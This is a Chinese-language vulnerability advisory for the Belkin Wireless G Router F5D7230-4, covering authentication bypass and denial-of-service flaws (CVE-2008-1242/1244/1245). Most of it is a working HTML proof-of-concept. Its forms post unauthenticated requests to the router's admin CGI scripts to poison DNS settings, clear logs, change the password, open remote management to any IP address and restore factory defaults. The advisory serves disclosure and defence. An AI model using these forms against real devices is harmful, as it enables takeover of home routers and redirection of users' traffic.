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安全漏洞
Belkin Wireless G Router绕过安全限制和拒绝服务漏洞
发布日期：2008-03-19
更新日期：2008-03-20
受影响系统：
Belkin Wireless G Router F5D7230-4 9.1.10描述：
BUGTRAQ ID: 28322,28319,28317
CVE(CAN) ID: CVE-2008-1242,CVE-2008-1244,CVE-2008-1245
Belkin Wireless G Router是一款家用的无线路由器。
Belkin Wireless G Router中的多个安全漏洞可能允许恶意用户绕过安全限制或导致拒绝服务。
1) 认证会话实现中的错误允许用户通过从之前已认证的IP地址创建会话来获得对路由器控制面板的访问。
2) 在cgi-bin/setup_dns.exe中强制权限方式中的错误允许用户通过直接访问有漏洞的脚本执行有限的管理操作。
3) cgi-bin/setup_virtualserver.exe脚本在处理HTTP POST数据是存在错误，远程攻击者可以通过发送带有Connection: Keep-Alive头的特制HTTP POST请求导致无法管理访问受影响的设备。
<*来源：pdp （pdp.gnucitizen@googlemail.com）
链接：http://secunia.com/advisories/29345/
http://www.gnucitizen.org/projects/router-hacking-challenge/
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<head>
</head>
<body>
<b>html code to bypass the webinterface password protection of the Belkin wireless G router + adsl2 modem.<br>
It worked on model F5D7632-4V6 with upgraded firmware 6.01.08.</b>
<br>
<form action="http://192.168.2.1/cgi-bin/setup_dns.exe" name=dnspoison method=post>
Change dns nameservers (ip's can't be the same)<br>
<input name=page type=hidden value="setup_dns">
<input name=logout type=hidden value="">
<input name=auto_from_isp type=hidden value="0">
<input name=dns1_1 type=text value="1">
<input name=dns1_2 type=text value="2">
<input name=dns1_3 type=text value="3">
<input name=dns1_4 type=text value="4">
<br>
<input name=dns2_1 type=text value="1">
<input name=dns2_2 type=text value="2">
<input name=dns2_3 type=text value="3">
<input name=dns2_4 type=text value="5">
<br>
<input name=submit type=submit value="poison">
</form>
<br>
<br>
<form action="http://192.168.2.1/cgi-bin/statusprocess.exe" name=clearlog method=post>
Clear log file<br>
<input name=securityclear type=submit value="clear">
</form>
<br>
<br>
<form ACTION="http://192.168.2.1/cgi-bin/system_all.exe" method=post name=changepassword>
Change time, pwd(if you have old pwd), remote management, UPnP:)<br>
and automatic firmware update (nice combined with DNS poisoning)<br>
<input type="hidden" name="restart_time" value="0">
<input type="hidden" name="reload" value="1">
<input type="hidden" name="restart_page" value='document.location.href="system.stm";'>
<input type="hidden" name="location_page" value="system.stm">
<input type="hidden" name="server1" value="">
<input type="hidden" name="server2" value="">
<!-- for clock -->
<input type="hidden" name="year" value="">
<input type="hidden" name="mon" value="">
<input type="hidden" name="day" value="">
<input type="hidden" name="hour" value="">
<input type="hidden" name="min" value="">
<input type="hidden" name="sec" value="">
<br>old password<br>
<input type="password" size="12" maxlength="12" name="userOldPswd" value="">
<br>new password, twice<br>
<input type="password" size="12" maxlength="12" name="userNewPswd" value="">
<input type="password" size="12" maxlength="12" name="userConPswd" value="">
<br>login timeout (1-99 minutes)<br>
<input type="text" name="timeout" size="3" maxlength="3" value="10">
<br>Time and Time Zone:<br>
daylight saving : <br>
<input type="checkbox" name="daylight" value="1">timezone(number)<br>
<input type="text" name="time_zone" value="26">
<input type="checkbox" name="enable_ntp" value="1">Enable Automatic Time Server Maintenance<br>
<tr>
<td width="240">Primary Server</td>
<td width="360">
<select name="time1">
<option>132.163.4.102 - North America</option>
<option>192.5.41.41 - North America</option>
<option>192.5.41.209 - North America</option>
<option>207.200.81.113 - North America</option>
<option>208.184.49.9 - North America</option>
<option>129.132.2.21 - Europe</option>
<option>130.149.17.8 - Europe</option>
<option>128.250.36.3 - Australia</option>
<option>137.189.8.174 - Asia Pacific</option>
</select>
</td>
</tr>
<tr>
<td width="240">Secondary Server</td>
<td width="360">
<select name="time2">
<option>132.163.4.102 - North America</option>
<option>192.5.41.41 - North America</option>
<option>192.5.41.209 - North America</option>
<option>207.200.81.113 - North America</option>
<option>208.184.49.9 - North America</option>
<option>129.132.2.21 - Europe</option>
<option>130.149.17.8 - Europe</option>
<option>128.250.36.3 - Australia</option>
<option>137.189.8.174 - Asia Pacific</option>
</select>
</td>
</tr>
<br>Remote management: <br>
<input type="checkbox" name="allow_all" value="1">Any IP address can remotely manage the router<br>
Only this IP address can remotely manage the router<br>
<input name="IP1" size="3" maxlength="3" value="0">.
<input name="IP2" size="3" maxlength="3" value="0">.
<input name="IP3" size="3" maxlength="3" value="0">.
<input name="IP4" size="3" maxlength="3" value="0">
<br>remote port:
<input name="REMOTEPORT" size="5" maxlength="5" value="0">
<br>NAT Enabling:<br>
<input type=radio name=Nat_enable value=1>Enable<br>
<input type=radio name=Nat_enable value=0>Disable<br>
<br>UPnP<br>
<input type="radio" name="upnp_enable" value=1>Enable<br>
<input type=radio name=upnp_enable value=0>Disable<br>
<br>Auto Update Firmware Enabling<br>
<input type="radio" name="autoUpdate_enable" value=1>Enable<br>
<input type="radio" name="autoUpdate_enable" value=0>disable<br>
</form>
<form method="POST" action="http://192.168.2.1/cgi-bin/restore.exe" name="RebootForm">
<br>restore factory defaults (and pw:D)<br>
<input type="hidden" name="page" value="tools_restore">
<input type="hidden" name="logout">
<input type="submit" value="Restore Defaults" style="{width:120px;}" class="submitBtn">
</form>
</body>
</html>
建议：
厂商补丁：
Belkin
------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.belkin.com/
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